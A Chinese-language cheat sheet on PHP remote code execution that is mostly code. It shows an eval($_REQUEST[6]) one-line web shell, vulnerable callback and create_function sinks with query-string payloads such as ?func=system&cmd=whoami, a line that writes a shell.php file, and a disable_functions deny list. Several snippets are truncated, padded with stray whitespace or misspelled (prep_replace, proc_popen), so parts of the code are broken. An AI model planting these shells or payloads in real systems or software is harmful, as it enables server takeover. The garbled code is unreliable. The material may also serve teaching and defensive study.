RCE 远程命令执行

1
后台存在危险函数（如 eval、system、exec）
2
    +
3
后端能接收用户输入
4
    +
5
未对输入进行有效过滤和限制
6
    =
7
RCE 漏洞

1
<?php
2
// 一句话木马
3
eval($_REQUEST[6]);
4

5
// 获取参数并执行
6
$code = $_GET['code'];
7
eval($code);
8
?>

1
<?php
2
// 与 eval 类似，但一次只能执行一条语句
3
assert($_REQUEST[6]);
4
?>

1
<?php
2
// 危险代码（PHP 7.0+ 已移除 /e 修饰符）
3
@prep_replace("/abc/e", $_REQUEST[6], "abcd");
4
// 会将 replacement 参数当作 PHP 代码执行
5
?>

1
<?php
2
// 创建匿名函数
3
$myfunc = create_function('$name', 'echo "hello".$name;');
4
// 等价于
5
function myfunc($name) {
6
    echo "hello".$name;
7
}
8
?>

1
<?php
2
// 有漏洞的代码
3
$id = $_GET['id'];
4
$code = 'return $a."_".$id;';
5
$func = create_function('$a', $code);
6
$func(1);
7

8
// 攻击 Payload
9
// ?id=;phpinfo();/*
10
// 生成的函数变为：
11
function($a) { return $a."_".;phpinfo();/*"; }
12
// 执行后调用 phpinfo()
13
?>

1
<?php
2
// 危险代码
3
$func = $_GET['func'];
4
$cmd = $_GET['cmd'];
5
$array[0] = $cmd;
6
$new_array = array_map($func, $array);
7

8
// Payload
9
// ?func=system&cmd=whoami
10
// ?func=assert&cmd=phpinfo()
11
?>

1
<?php
2
// 危险代码
3
@call_user_func('assert', $_GET['cmd']);
4

5
// Payload
6
// ?cmd=phpinfo()
7
?>

1
<?php
2
// 危险代码
3
$cmd = $_GET['cmd'];
4
$array[0] = $cmd;
5
call_user_func_array("assert", $array);
6

7
// Payload
8
// ?cmd=phpinfo()
9
?>

1
<?php
2
// 危险代码
3
$cmd = $_GET['cmd'];
4
$array1 = array($cmd);
5
$func = $_GET['func'];
6
array_filter($array1, $func);
7

8
// Payload
9
// ?func=system&cmd=whoami
10
?>

1
<?php
2
                                                           ?>';
3
file_put_contents('test1.php', $test);
4

5
// 访问 test1.php 即可执行任意代码
6
?>

1
<?php
2
// PHP 允许通过变量调用函数
3
// Payload: ?a=assert&b=phpinfo()
4
$_GET['a']($_GET['b']);
5
?>

1
<?php
2
// PHP 字符串中的复杂表达式可以执行代码
3
${phpinfo()};     // 执行 phpinfo()
4
$$(phpinfo());    // 执行 phpinfo()
5
$a = $(phpinfo()); // 执行 phpinfo()
6
?>

1
<?php
2
                                                                                                                          ?>" > 1.php');
3

4
// ping 命令
5
system("ping 127.0.0.1");
6
?>

1
<?php
2
// 只返回最后一行，需手动输出
3
echo exec('whoami');
4

5
// 返回结果到数组
6
exec("dir", $output);
7
print_r($output);
8
?>

1
<?php
2
// 返回全部结果
3
$res = shell_exec("dir");
4
var_dump($res);
5

6
// 反引号是 shell_exec 的简写
7
$res = `dir`;
8
var_dump($res);
9
?>

1
<?php
2
// 直接输出原始结果，支持二进制数据
3
passthru("ping 127.0.0.1");
4

5
// 可以输出图片等二进制数据
6
passthru("cat image.jpg");
7
?>

1
<?php
2
$res = popen("ping 127.0.0.1", 'r');
3
echo fread($res, 1024);
4
pclose($res);
5
?>

1
# php.ini 配置
2
disable_functions = system,exec,shell_exec,passthru,popen,proc_popen,pcntl_exec,eval,assert,preg_replace,create_function,array_map,call_user_func,call_user_func_array,array_filter

1
eval($_REQUEST[6]);                    // 语言结构，无法禁用
2
assert($_REQUEST[6]);                   // 可被 disable_functions 禁用
3
preg_replace("/abc/e", $_REQUEST[6], "abcd");  // PHP 7.0+ 已移除 /e
4
create_function('$a', $code);           // 内部调用 eval
5
array_map($func, $array);               // 回调函数
6
call_user_func('assert', $_GET['cmd']); // 调用回调函数
7
file_put_contents('shell.php', '<?php eval($_REQUEST[6]);?>');
8
$_GET['a']($_GET['b']);                 // 动态函数调用

1
system('whoami');        // 直接输出
2
exec('whoami');          // 返回最后一行
3
shell_exec('whoami');    // 返回全部结果
4
passthru('whoami');      // 原始输出
5
popen('whoami', 'r');    // 返回指针
6
`whoami`;                // 反引号执行